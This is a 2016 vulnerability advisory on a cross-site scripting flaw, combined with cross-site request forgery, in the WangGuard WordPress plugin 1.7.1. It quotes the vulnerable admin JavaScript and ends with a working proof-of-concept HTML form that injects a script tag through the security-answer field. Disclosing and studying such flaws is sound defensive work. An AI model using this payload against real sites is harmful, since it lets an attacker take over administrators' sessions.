WordPress WangGuard 1.7.1 Cross Site Scripting
Posted on 03 August 2016
------------------------------------------------------------------------ Cross-Site Scripting in WangGuard WordPress Plugin ------------------------------------------------------------------------ Yorick Koster, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ A Cross-Site Scripting vulnerability was found in the WangGuard WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160724-0030 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully tested on WangGuard WordPress Plugin version 1.7.1. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ This issue is resolved in WangGuard version 1.7.2. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_wangguard_wordpress_plugin.html The issue exists in the file wangguard-admin.php and is caused by the lack of output encoding on the security questions & answers. It should be noted that this functionality is also vulnerable to Cross-Site Request Forgery. jQuery("#wangguardnewquestionbutton").click(function() { jQuery("#wangguardnewquestionerror").hide(); var wgq = jQuery("#wangguardnewquestion").val(); var wga = jQuery("#wangguardnewquestionanswer").val(); if ((wgq=='') || (wga=='')) { jQuery("#wangguardnewquestionerror").slideDown(); return; } data = { action : 'wangguard_ajax_questionadd', q : wgq, a : wga }; jQuery.post(ajaxurl, data, function(response) { if (response!='0') { jQuery("#wangguard-question-noquestion").remove(); var newquest = '<div class="wangguard-question" id="wangguard-question-'+response+'">'; newquest += '<?php echo addslashes(__("Question", 'wangguard')) ?>: <strong>'+wgq+'</strong><br/>'; newquest += '<?php echo addslashes(__("Answer", 'wangguard')) ?>: <strong>'+wga+'</strong><br/>'; newquest += '<a href="javascript:void(0)" rel="'+response+'" class="wangguard-delete-question"><?php echo addslashes(__('delete question', 'wangguard')) ?></a></div>'; jQuery("#wangguard-new-question-container").append(newquest); jQuery("#wangguardnewquestion").val(""); jQuery("#wangguardnewquestionanswer").val(""); } else if (response=='0') { jQuery("#wangguardnewquestionerror").slideDown(); } }); }); In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website. Proof of concept <html> <body> <form action="http://<target>/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="wangguard_ajax_questionadd" /> <input type="hidden" name="q" value="xss?" /> <input type="hidden" name="a" value=""><script>alert(1);</script>" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way.
